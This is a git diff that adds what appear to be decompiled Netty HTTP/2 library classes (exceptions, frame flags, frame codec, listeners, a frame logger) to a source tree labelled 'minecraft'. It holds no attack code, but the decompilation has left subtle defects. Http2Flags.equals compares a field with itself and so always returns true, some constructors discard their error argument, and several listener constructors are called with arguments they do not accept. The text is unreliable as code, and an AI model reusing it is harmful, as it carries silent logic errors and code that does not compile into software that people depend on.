+    return new ClosedStreamCreationException(error, String.format(fmt, args));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static Http2Exception streamError(int id, Http2Error error, String fmt, Object... args)
+  {
+    return 0 == id ? connectionError(error, fmt, args) : new StreamException(id, error, String.format(fmt, args));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Http2Exception streamError(int id, Http2Error error, Throwable cause, String fmt, Object... args)
+  {
+    return 0 == id ? connectionError(error, cause, fmt, args) : new StreamException(id, error, String.format(fmt, args), cause);
+  }
+  
+
+
+
+
+
+
+
+  public static boolean isStreamError(Http2Exception e)
+  {
+    return e instanceof StreamException;
+  }
+  
+
+
+
+
+
+  public static int streamId(Http2Exception e)
+  {
+    return isStreamError(e) ? ((StreamException)e).streamId() : 0;
+  }
+  
+
+
+
+
+
+  public static enum ShutdownHint
+  {
+    NO_SHUTDOWN, 
+    
+
+
+
+    GRACEFUL_SHUTDOWN, 
+    
+
+
+    HARD_SHUTDOWN;
+    
+    private ShutdownHint() {}
+  }
+  
+  public static final class ClosedStreamCreationException extends Http2Exception
+  {
+    private static final long serialVersionUID = -6746542974372246206L;
+    
+    public ClosedStreamCreationException(Http2Error error) {
+      super();
+    }
+    
+    public ClosedStreamCreationException(Http2Error error, String message) {
+      super(message);
+    }
+    
+    public ClosedStreamCreationException(Http2Error error, String message, Throwable cause) {
+      super(message, cause);
+    }
+  }
+  
+  public static final class StreamException
+    extends Http2Exception
+  {
+    private static final long serialVersionUID = 602472544416984384L;
+    private final int streamId;
+    
+    StreamException(int streamId, Http2Error error, String message)
+    {
+      super(message, Http2Exception.ShutdownHint.NO_SHUTDOWN);
+      this.streamId = streamId;
+    }
+    
+    StreamException(int streamId, Http2Error error, String message, Throwable cause) {
+      super(message, cause, Http2Exception.ShutdownHint.NO_SHUTDOWN);
+      this.streamId = streamId;
+    }
+    
+    public int streamId() {
+      return streamId;
+    }
+  }
+  
+  public static final class CompositeStreamException
+    extends Http2Exception implements Iterable<Http2Exception.StreamException>
+  {
+    private static final long serialVersionUID = 7091134858213711015L;
+    private final List<Http2Exception.StreamException> exceptions;
+    
+    public CompositeStreamException(Http2Error error, int initialCapacity)
+    {
+      super(Http2Exception.ShutdownHint.NO_SHUTDOWN);
+      exceptions = new ArrayList(initialCapacity);
+    }
+    
+    public void add(Http2Exception.StreamException e) {
+      exceptions.add(e);
+    }
+    
+    public Iterator<Http2Exception.StreamException> iterator()
+    {
+      return exceptions.iterator();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2Flags.java b/src/minecraft/io/netty/handler/codec/http2/Http2Flags.java
new file mode 100644
index 0000000..3cf31e1
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2Flags.java
@@ -0,0 +1,207 @@
+package io.netty.handler.codec.http2;
+
+
+
+
+public final class Http2Flags
+{
+  public static final short END_STREAM = 1;
+  
+
+
+  public static final short END_HEADERS = 4;
+  
+
+
+  public static final short ACK = 1;
+  
+
+
+  public static final short PADDED = 8;
+  
+
+
+  public static final short PRIORITY = 32;
+  
+
+  private short value;
+  
+
+
+  public Http2Flags() {}
+  
+
+
+  public Http2Flags(short value)
+  {
+    this.value = value;
+  }
+  
+
+
+  public short value()
+  {
+    return value;
+  }
+  
+
+
+
+  public boolean endOfStream()
+  {
+    return isFlagSet((short)1);
+  }
+  
+
+
+
+  public boolean endOfHeaders()
+  {
+    return isFlagSet((short)4);
+  }
+  
+
+
+
+  public boolean priorityPresent()
+  {
+    return isFlagSet((short)32);
+  }
+  
+
+
+
+  public boolean ack()
+  {
+    return isFlagSet((short)1);
+  }
+  
+
+
+
+  public boolean paddingPresent()
+  {
+    return isFlagSet((short)8);
+  }
+  
+
+
+
+  public int getNumPriorityBytes()
+  {
+    return priorityPresent() ? 5 : 0;
+  }
+  
+
+
+
+  public int getPaddingPresenceFieldLength()
+  {
+    return paddingPresent() ? 1 : 0;
+  }
+  
+
+
+  public Http2Flags endOfStream(boolean endOfStream)
+  {
+    return setFlag(endOfStream, (short)1);
+  }
+  
+
+
+  public Http2Flags endOfHeaders(boolean endOfHeaders)
+  {
+    return setFlag(endOfHeaders, (short)4);
+  }
+  
+
+
+  public Http2Flags priorityPresent(boolean priorityPresent)
+  {
+    return setFlag(priorityPresent, (short)32);
+  }
+  
+
+
+  public Http2Flags paddingPresent(boolean paddingPresent)
+  {
+    return setFlag(paddingPresent, (short)8);
+  }
+  
+
+
+  public Http2Flags ack(boolean ack)
+  {
+    return setFlag(ack, (short)1);
+  }
+  
+
+
+
+
+
+  public Http2Flags setFlag(boolean on, short mask)
+  {
+    if (on) {
+      value = ((short)(value | mask));
+    } else {
+      value = ((short)(value & (mask ^ 0xFFFFFFFF)));
+    }
+    return this;
+  }
+  
+
+
+
+
+  public boolean isFlagSet(short mask)
+  {
+    return (value & mask) != 0;
+  }
+  
+  public int hashCode()
+  {
+    int prime = 31;
+    int result = 1;
+    result = 31 * result + value;
+    return result;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    if (obj == null) {
+      return false;
+    }
+    if (getClass() != obj.getClass()) {
+      return false;
+    }
+    
+    return value == value;
+  }
+  
+  public String toString()
+  {
+    StringBuilder builder = new StringBuilder();
+    builder.append("value = ").append(value).append(" (");
+    if (ack()) {
+      builder.append("ACK,");
+    }
+    if (endOfHeaders()) {
+      builder.append("END_OF_HEADERS,");
+    }
+    if (endOfStream()) {
+      builder.append("END_OF_STREAM,");
+    }
+    if (priorityPresent()) {
+      builder.append("PRIORITY_PRESENT,");
+    }
+    if (paddingPresent()) {
+      builder.append("PADDING_PRESENT,");
+    }
+    builder.append(')');
+    return builder.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2FlowController.java b/src/minecraft/io/netty/handler/codec/http2/Http2FlowController.java
new file mode 100644
index 0000000..0627b32
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2FlowController.java
@@ -0,0 +1,19 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.channel.ChannelHandlerContext;
+
+public abstract interface Http2FlowController
+{
+  public abstract void channelHandlerContext(ChannelHandlerContext paramChannelHandlerContext)
+    throws Http2Exception;
+  
+  public abstract void initialWindowSize(int paramInt)
+    throws Http2Exception;
+  
+  public abstract int initialWindowSize();
+  
+  public abstract int windowSize(Http2Stream paramHttp2Stream);
+  
+  public abstract void incrementWindowSize(Http2Stream paramHttp2Stream, int paramInt)
+    throws Http2Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2Frame.java b/src/minecraft/io/netty/handler/codec/http2/Http2Frame.java
new file mode 100644
index 0000000..b9d7727
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2Frame.java
@@ -0,0 +1,6 @@
+package io.netty.handler.codec.http2;
+
+public abstract interface Http2Frame
+{
+  public abstract String name();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2FrameAdapter.java b/src/minecraft/io/netty/handler/codec/http2/Http2FrameAdapter.java
new file mode 100644
index 0000000..7647bd7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2FrameAdapter.java
@@ -0,0 +1,78 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Http2FrameAdapter
+  implements Http2FrameListener
+{
+  public Http2FrameAdapter() {}
+  
+  public int onDataRead(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endOfStream)
+    throws Http2Exception
+  {
+    return data.readableBytes() + padding;
+  }
+  
+  public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endStream)
+    throws Http2Exception
+  {}
+  
+  public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endStream)
+    throws Http2Exception
+  {}
+  
+  public void onPriorityRead(ChannelHandlerContext ctx, int streamId, int streamDependency, short weight, boolean exclusive)
+    throws Http2Exception
+  {}
+  
+  public void onRstStreamRead(ChannelHandlerContext ctx, int streamId, long errorCode)
+    throws Http2Exception
+  {}
+  
+  public void onSettingsAckRead(ChannelHandlerContext ctx)
+    throws Http2Exception
+  {}
+  
+  public void onSettingsRead(ChannelHandlerContext ctx, Http2Settings settings)
+    throws Http2Exception
+  {}
+  
+  public void onPingRead(ChannelHandlerContext ctx, ByteBuf data)
+    throws Http2Exception
+  {}
+  
+  public void onPingAckRead(ChannelHandlerContext ctx, ByteBuf data)
+    throws Http2Exception
+  {}
+  
+  public void onPushPromiseRead(ChannelHandlerContext ctx, int streamId, int promisedStreamId, Http2Headers headers, int padding)
+    throws Http2Exception
+  {}
+  
+  public void onGoAwayRead(ChannelHandlerContext ctx, int lastStreamId, long errorCode, ByteBuf debugData)
+    throws Http2Exception
+  {}
+  
+  public void onWindowUpdateRead(ChannelHandlerContext ctx, int streamId, int windowSizeIncrement)
+    throws Http2Exception
+  {}
+  
+  public void onUnknownFrame(ChannelHandlerContext ctx, byte frameType, int streamId, Http2Flags flags, ByteBuf payload) {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2FrameCodec.java b/src/minecraft/io/netty/handler/codec/http2/Http2FrameCodec.java
new file mode 100644
index 0000000..3a934c1
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2FrameCodec.java
@@ -0,0 +1,365 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.handler.codec.UnsupportedMessageTypeException;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpServerUpgradeHandler.UpgradeEvent;
+import io.netty.handler.logging.LogLevel;
+import io.netty.util.ReferenceCountUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Http2FrameCodec
+  extends ChannelDuplexHandler
+{
+  private static final Http2FrameLogger HTTP2_FRAME_LOGGER = new Http2FrameLogger(LogLevel.INFO, Http2FrameCodec.class);
+  
+
+  private final Http2ConnectionHandler http2Handler;
+  
+  private final boolean server;
+  
+  private ChannelHandlerContext ctx;
+  
+  private ChannelHandlerContext http2HandlerCtx;
+  
+
+  public Http2FrameCodec(boolean server)
+  {
+    this(server, HTTP2_FRAME_LOGGER);
+  }
+  
+
+
+
+
+  public Http2FrameCodec(boolean server, Http2FrameLogger frameLogger)
+  {
+    this(server, new DefaultHttp2FrameWriter(), frameLogger);
+  }
+  
+  Http2FrameCodec(boolean server, Http2FrameWriter frameWriter, Http2FrameLogger frameLogger)
+  {
+    Http2Connection connection = new DefaultHttp2Connection(server);
+    frameWriter = new Http2OutboundFrameLogger(frameWriter, frameLogger);
+    Http2ConnectionEncoder encoder = new DefaultHttp2ConnectionEncoder(connection, frameWriter);
+    Http2FrameReader frameReader = new DefaultHttp2FrameReader();
+    Http2FrameReader reader = new Http2InboundFrameLogger(frameReader, frameLogger);
+    Http2ConnectionDecoder decoder = new DefaultHttp2ConnectionDecoder(connection, encoder, reader);
+    decoder.frameListener(new FrameListener(null));
+    http2Handler = new InternalHttp2ConnectionHandler(decoder, encoder, new Http2Settings());
+    http2Handler.connection().addListener(new ConnectionListener(null));
+    this.server = server;
+  }
+  
+  Http2ConnectionHandler connectionHandler() {
+    return http2Handler;
+  }
+  
+
+
+  public void handlerAdded(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    this.ctx = ctx;
+    ctx.pipeline().addBefore(ctx.executor(), ctx.name(), null, http2Handler);
+    http2HandlerCtx = ctx.pipeline().context(http2Handler);
+  }
+  
+
+
+  public void handlerRemoved(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    ctx.pipeline().remove(http2Handler);
+  }
+  
+
+
+
+  public void userEventTriggered(ChannelHandlerContext ctx, Object evt)
+    throws Exception
+  {
+    if (!(evt instanceof HttpServerUpgradeHandler.UpgradeEvent)) {
+      super.userEventTriggered(ctx, evt);
+      return;
+    }
+    
+    HttpServerUpgradeHandler.UpgradeEvent upgrade = (HttpServerUpgradeHandler.UpgradeEvent)evt;
+    ctx.fireUserEventTriggered(upgrade.retain());
+    try {
+      Http2Stream stream = http2Handler.connection().stream(1);
+      
+
+
+      new ConnectionListener(null).onStreamActive(stream);
+      upgrade.upgradeRequest().headers().setInt(HttpConversionUtil.ExtensionHeaderNames.STREAM_ID.text(), 1);
+      
+      new InboundHttpToHttp2Adapter(http2Handler.connection(), http2Handler.decoder().frameListener()).channelRead(ctx, upgrade.upgradeRequest().retain());
+    }
+    finally {
+      upgrade.release();
+    }
+  }
+  
+
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause)
+  {
+    ctx.fireExceptionCaught(cause);
+  }
+  
+
+
+
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise)
+  {
+    try
+    {
+      if ((msg instanceof Http2WindowUpdateFrame)) {
+        Http2WindowUpdateFrame frame = (Http2WindowUpdateFrame)msg;
+        consumeBytes(frame.streamId(), frame.windowSizeIncrement(), promise);
+      } else if ((msg instanceof Http2StreamFrame)) {
+        writeStreamFrame((Http2StreamFrame)msg, promise);
+      } else if ((msg instanceof Http2GoAwayFrame)) {
+        writeGoAwayFrame((Http2GoAwayFrame)msg, promise);
+      } else {
+        throw new UnsupportedMessageTypeException(msg, new Class[0]);
+      }
+    } finally {
+      ReferenceCountUtil.release(msg);
+    }
+  }
+  
+  private void consumeBytes(int streamId, int bytes, ChannelPromise promise) {
+    try {
+      Http2Stream stream = http2Handler.connection().stream(streamId);
+      ((Http2LocalFlowController)http2Handler.connection().local().flowController()).consumeBytes(stream, bytes);
+      
+      promise.setSuccess();
+    } catch (Throwable t) {
+      promise.setFailure(t);
+    }
+  }
+  
+  private void writeGoAwayFrame(Http2GoAwayFrame frame, ChannelPromise promise) {
+    if (frame.lastStreamId() > -1) {
+      throw new IllegalArgumentException("Last stream id must not be set on GOAWAY frame");
+    }
+    
+    int lastStreamCreated = http2Handler.connection().remote().lastStreamCreated();
+    int lastStreamId = lastStreamCreated + frame.extraStreamIds() * 2;
+    
+    if (lastStreamId < lastStreamCreated) {
+      lastStreamId = Integer.MAX_VALUE;
+    }
+    http2Handler.goAway(http2HandlerCtx, lastStreamId, frame.errorCode(), frame.content().retain(), promise);
+  }
+  
+  private void writeStreamFrame(Http2StreamFrame frame, ChannelPromise promise)
+  {
+    if ((frame instanceof Http2DataFrame)) {
+      Http2DataFrame dataFrame = (Http2DataFrame)frame;
+      http2Handler.encoder().writeData(http2HandlerCtx, frame.streamId(), dataFrame.content().retain(), dataFrame.padding(), dataFrame.isEndStream(), promise);
+    }
+    else if ((frame instanceof Http2HeadersFrame)) {
+      writeHeadersFrame((Http2HeadersFrame)frame, promise);
+    } else if ((frame instanceof Http2ResetFrame)) {
+      Http2ResetFrame rstFrame = (Http2ResetFrame)frame;
+      http2Handler.resetStream(http2HandlerCtx, frame.streamId(), rstFrame.errorCode(), promise);
+    } else {
+      throw new UnsupportedMessageTypeException(frame, new Class[0]);
+    }
+  }
+  
+  private void writeHeadersFrame(Http2HeadersFrame headersFrame, ChannelPromise promise) {
+    int streamId = headersFrame.streamId();
+    if (!Http2CodecUtil.isStreamIdValid(streamId)) {
+      Http2Connection.Endpoint<Http2LocalFlowController> localEndpoint = http2Handler.connection().local();
+      streamId = localEndpoint.incrementAndGetNextStreamId();
+      
+      try
+      {
+        localEndpoint.createStream(streamId, false);
+      } catch (Http2Exception e) {
+        promise.setFailure(e);
+        return;
+      }
+      ctx.fireUserEventTriggered(new Http2StreamActiveEvent(streamId, headersFrame));
+    }
+    http2Handler.encoder().writeHeaders(http2HandlerCtx, streamId, headersFrame.headers(), headersFrame.padding(), headersFrame.isEndStream(), promise);
+  }
+  
+  private final class ConnectionListener extends Http2ConnectionAdapter {
+    private ConnectionListener() {}
+    
+    public void onStreamActive(Http2Stream stream) {
+      if (ctx == null)
+      {
+        return;
+      }
+      if (Http2CodecUtil.isOutboundStream(server, stream.id()))
+      {
+        return;
+      }
+      ctx.fireUserEventTriggered(new Http2StreamActiveEvent(stream.id()));
+    }
+    
+    public void onStreamClosed(Http2Stream stream)
+    {
+      ctx.fireUserEventTriggered(new Http2StreamClosedEvent(stream.id()));
+    }
+    
+    public void onGoAwayReceived(int lastStreamId, long errorCode, ByteBuf debugData)
+    {
+      ctx.fireChannelRead(new DefaultHttp2GoAwayFrame(lastStreamId, errorCode, debugData.retain()));
+    }
+  }
+  
+  private static final class InternalHttp2ConnectionHandler extends Http2ConnectionHandler
+  {
+    InternalHttp2ConnectionHandler(Http2ConnectionDecoder decoder, Http2ConnectionEncoder encoder, Http2Settings initialSettings) {
+      super(encoder, initialSettings);
+    }
+    
+    protected void onStreamError(ChannelHandlerContext ctx, Throwable cause, Http2Exception.StreamException http2Ex)
+    {
+      try
+      {
+        Http2Stream stream = connection().stream(http2Ex.streamId());
+        if (stream == null) {
+          return;
+        }
+        ctx.fireExceptionCaught(http2Ex);
+      } finally {
+        super.onStreamError(ctx, cause, http2Ex);
+      }
+    }
+  }
+  
+  private static final class FrameListener extends Http2FrameAdapter {
+    private FrameListener() {}
+    
+    public void onRstStreamRead(ChannelHandlerContext ctx, int streamId, long errorCode) { Http2ResetFrame rstFrame = new DefaultHttp2ResetFrame(errorCode);
+      rstFrame.streamId(streamId);
+      ctx.fireChannelRead(rstFrame);
+    }
+    
+
+
+    public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endStream)
+    {
+      onHeadersRead(ctx, streamId, headers, padding, endStream);
+    }
+    
+
+    public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endOfStream)
+    {
+      Http2HeadersFrame headersFrame = new DefaultHttp2HeadersFrame(headers, endOfStream, padding);
+      headersFrame.streamId(streamId);
+      ctx.fireChannelRead(headersFrame);
+    }
+    
+
+    public int onDataRead(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endOfStream)
+    {
+      Http2DataFrame dataFrame = new DefaultHttp2DataFrame(data.retain(), endOfStream, padding);
+      dataFrame.streamId(streamId);
+      ctx.fireChannelRead(dataFrame);
+      
+
+      return 0;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2FrameListener.java b/src/minecraft/io/netty/handler/codec/http2/Http2FrameListener.java
new file mode 100644
index 0000000..426d81e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2FrameListener.java
@@ -0,0 +1,46 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+
+public abstract interface Http2FrameListener
+{
+  public abstract int onDataRead(ChannelHandlerContext paramChannelHandlerContext, int paramInt1, ByteBuf paramByteBuf, int paramInt2, boolean paramBoolean)
+    throws Http2Exception;
+  
+  public abstract void onHeadersRead(ChannelHandlerContext paramChannelHandlerContext, int paramInt1, Http2Headers paramHttp2Headers, int paramInt2, boolean paramBoolean)
+    throws Http2Exception;
+  
+  public abstract void onHeadersRead(ChannelHandlerContext paramChannelHandlerContext, int paramInt1, Http2Headers paramHttp2Headers, int paramInt2, short paramShort, boolean paramBoolean1, int paramInt3, boolean paramBoolean2)
+    throws Http2Exception;
+  
+  public abstract void onPriorityRead(ChannelHandlerContext paramChannelHandlerContext, int paramInt1, int paramInt2, short paramShort, boolean paramBoolean)
+    throws Http2Exception;
+  
+  public abstract void onRstStreamRead(ChannelHandlerContext paramChannelHandlerContext, int paramInt, long paramLong)
+    throws Http2Exception;
+  
+  public abstract void onSettingsAckRead(ChannelHandlerContext paramChannelHandlerContext)
+    throws Http2Exception;
+  
+  public abstract void onSettingsRead(ChannelHandlerContext paramChannelHandlerContext, Http2Settings paramHttp2Settings)
+    throws Http2Exception;
+  
+  public abstract void onPingRead(ChannelHandlerContext paramChannelHandlerContext, ByteBuf paramByteBuf)
+    throws Http2Exception;
+  
+  public abstract void onPingAckRead(ChannelHandlerContext paramChannelHandlerContext, ByteBuf paramByteBuf)
+    throws Http2Exception;
+  
+  public abstract void onPushPromiseRead(ChannelHandlerContext paramChannelHandlerContext, int paramInt1, int paramInt2, Http2Headers paramHttp2Headers, int paramInt3)
+    throws Http2Exception;
+  
+  public abstract void onGoAwayRead(ChannelHandlerContext paramChannelHandlerContext, int paramInt, long paramLong, ByteBuf paramByteBuf)
+    throws Http2Exception;
+  
+  public abstract void onWindowUpdateRead(ChannelHandlerContext paramChannelHandlerContext, int paramInt1, int paramInt2)
+    throws Http2Exception;
+  
+  public abstract void onUnknownFrame(ChannelHandlerContext paramChannelHandlerContext, byte paramByte, int paramInt, Http2Flags paramHttp2Flags, ByteBuf paramByteBuf)
+    throws Http2Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2FrameListenerDecorator.java b/src/minecraft/io/netty/handler/codec/http2/Http2FrameListenerDecorator.java
new file mode 100644
index 0000000..1a8125a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2FrameListenerDecorator.java
@@ -0,0 +1,105 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Http2FrameListenerDecorator
+  implements Http2FrameListener
+{
+  protected final Http2FrameListener listener;
+  
+  public Http2FrameListenerDecorator(Http2FrameListener listener)
+  {
+    this.listener = ((Http2FrameListener)ObjectUtil.checkNotNull(listener, "listener"));
+  }
+  
+  public int onDataRead(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endOfStream)
+    throws Http2Exception
+  {
+    return listener.onDataRead(ctx, streamId, data, padding, endOfStream);
+  }
+  
+  public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endStream)
+    throws Http2Exception
+  {
+    listener.onHeadersRead(ctx, streamId, headers, padding, endStream);
+  }
+  
+  public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endStream)
+    throws Http2Exception
+  {
+    listener.onHeadersRead(ctx, streamId, headers, streamDependency, weight, exclusive, padding, endStream);
+  }
+  
+  public void onPriorityRead(ChannelHandlerContext ctx, int streamId, int streamDependency, short weight, boolean exclusive)
+    throws Http2Exception
+  {
+    listener.onPriorityRead(ctx, streamId, streamDependency, weight, exclusive);
+  }
+  
+  public void onRstStreamRead(ChannelHandlerContext ctx, int streamId, long errorCode) throws Http2Exception
+  {
+    listener.onRstStreamRead(ctx, streamId, errorCode);
+  }
+  
+  public void onSettingsAckRead(ChannelHandlerContext ctx) throws Http2Exception
+  {
+    listener.onSettingsAckRead(ctx);
+  }
+  
+  public void onSettingsRead(ChannelHandlerContext ctx, Http2Settings settings) throws Http2Exception
+  {
+    listener.onSettingsRead(ctx, settings);
+  }
+  
+  public void onPingRead(ChannelHandlerContext ctx, ByteBuf data) throws Http2Exception
+  {
+    listener.onPingRead(ctx, data);
+  }
+  
+  public void onPingAckRead(ChannelHandlerContext ctx, ByteBuf data) throws Http2Exception
+  {
+    listener.onPingAckRead(ctx, data);
+  }
+  
+  public void onPushPromiseRead(ChannelHandlerContext ctx, int streamId, int promisedStreamId, Http2Headers headers, int padding)
+    throws Http2Exception
+  {
+    listener.onPushPromiseRead(ctx, streamId, promisedStreamId, headers, padding);
+  }
+  
+  public void onGoAwayRead(ChannelHandlerContext ctx, int lastStreamId, long errorCode, ByteBuf debugData)
+    throws Http2Exception
+  {
+    listener.onGoAwayRead(ctx, lastStreamId, errorCode, debugData);
+  }
+  
+  public void onWindowUpdateRead(ChannelHandlerContext ctx, int streamId, int windowSizeIncrement)
+    throws Http2Exception
+  {
+    listener.onWindowUpdateRead(ctx, streamId, windowSizeIncrement);
+  }
+  
+  public void onUnknownFrame(ChannelHandlerContext ctx, byte frameType, int streamId, Http2Flags flags, ByteBuf payload)
+    throws Http2Exception
+  {
+    listener.onUnknownFrame(ctx, frameType, streamId, flags, payload);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2FrameLogger.java b/src/minecraft/io/netty/handler/codec/http2/Http2FrameLogger.java
new file mode 100644
index 0000000..3252862
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2FrameLogger.java
@@ -0,0 +1,185 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.channel.ChannelHandlerAdapter;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.logging.LogLevel;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.logging.InternalLogLevel;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Http2FrameLogger
+  extends ChannelHandlerAdapter
+{
+  private static final int BUFFER_LENGTH_THRESHOLD = 64;
+  private final InternalLogger logger;
+  private final InternalLogLevel level;
+  
+  public static enum Direction
+  {
+    INBOUND, 
+    OUTBOUND;
+    
+
+    private Direction() {}
+  }
+  
+  public Http2FrameLogger(LogLevel level)
+  {
+    this(level.toInternalLevel(), InternalLoggerFactory.getInstance(Http2FrameLogger.class));
+  }
+  
+  public Http2FrameLogger(LogLevel level, String name) {
+    this(level.toInternalLevel(), InternalLoggerFactory.getInstance(name));
+  }
+  
+  public Http2FrameLogger(LogLevel level, Class<?> clazz) {
+    this(level.toInternalLevel(), InternalLoggerFactory.getInstance(clazz));
+  }
+  
+  private Http2FrameLogger(InternalLogLevel level, InternalLogger logger) {
+    this.level = ((InternalLogLevel)ObjectUtil.checkNotNull(level, "level"));
+    this.logger = ((InternalLogger)ObjectUtil.checkNotNull(logger, "logger"));
+  }
+  
+  public void logData(Direction direction, ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endStream)
+  {
+    if (enabled()) {
+      log(direction, "%s DATA: streamId=%d, padding=%d, endStream=%b, length=%d, bytes=%s", new Object[] { ctx.channel(), Integer.valueOf(streamId), Integer.valueOf(padding), Boolean.valueOf(endStream), Integer.valueOf(data.readableBytes()), toString(data) });
+    }
+  }
+  
+
+
+  public void logHeaders(Direction direction, ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endStream)
+  {
+    if (enabled()) {
+      log(direction, "%s HEADERS: streamId=%d, headers=%s, padding=%d, endStream=%b", new Object[] { ctx.channel(), Integer.valueOf(streamId), headers, Integer.valueOf(padding), Boolean.valueOf(endStream) });
+    }
+  }
+  
+
+  public void logHeaders(Direction direction, ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endStream)
+  {
+    if (enabled()) {
+      log(direction, "%s HEADERS: streamId=%d, headers=%s, streamDependency=%d, weight=%d, exclusive=%b, padding=%d, endStream=%b", new Object[] { ctx.channel(), Integer.valueOf(streamId), headers, Integer.valueOf(streamDependency), Short.valueOf(weight), Boolean.valueOf(exclusive), Integer.valueOf(padding), Boolean.valueOf(endStream) });
+    }
+  }
+  
+
+
+
+  public void logPriority(Direction direction, ChannelHandlerContext ctx, int streamId, int streamDependency, short weight, boolean exclusive)
+  {
+    if (enabled()) {
+      log(direction, "%s PRIORITY: streamId=%d, streamDependency=%d, weight=%d, exclusive=%b", new Object[] { ctx.channel(), Integer.valueOf(streamId), Integer.valueOf(streamDependency), Short.valueOf(weight), Boolean.valueOf(exclusive) });
+    }
+  }
+  
+  public void logRstStream(Direction direction, ChannelHandlerContext ctx, int streamId, long errorCode)
+  {
+    if (enabled()) {
+      log(direction, "%s RST_STREAM: streamId=%d, errorCode=%d", new Object[] { ctx.channel(), Integer.valueOf(streamId), Long.valueOf(errorCode) });
+    }
+  }
+  
+  public void logSettingsAck(Direction direction, ChannelHandlerContext ctx) {
+    if (enabled()) {
+      log(direction, "%s SETTINGS: ack=true", new Object[] { ctx.channel() });
+    }
+  }
+  
+  public void logSettings(Direction direction, ChannelHandlerContext ctx, Http2Settings settings) {
+    if (enabled()) {
+      log(direction, "%s SETTINGS: ack=false, settings=%s", new Object[] { ctx.channel(), settings });
+    }
+  }
+  
+  public void logPing(Direction direction, ChannelHandlerContext ctx, ByteBuf data) {
+    if (enabled()) {
+      log(direction, "%s PING: ack=false, length=%d, bytes=%s", new Object[] { ctx.channel(), Integer.valueOf(data.readableBytes()), toString(data) });
+    }
+  }
+  
+  public void logPingAck(Direction direction, ChannelHandlerContext ctx, ByteBuf data)
+  {
+    if (enabled()) {
+      log(direction, "%s PING: ack=true, length=%d, bytes=%s", new Object[] { ctx.channel(), Integer.valueOf(data.readableBytes()), toString(data) });
+    }
+  }
+  
+
+  public void logPushPromise(Direction direction, ChannelHandlerContext ctx, int streamId, int promisedStreamId, Http2Headers headers, int padding)
+  {
+    if (enabled()) {
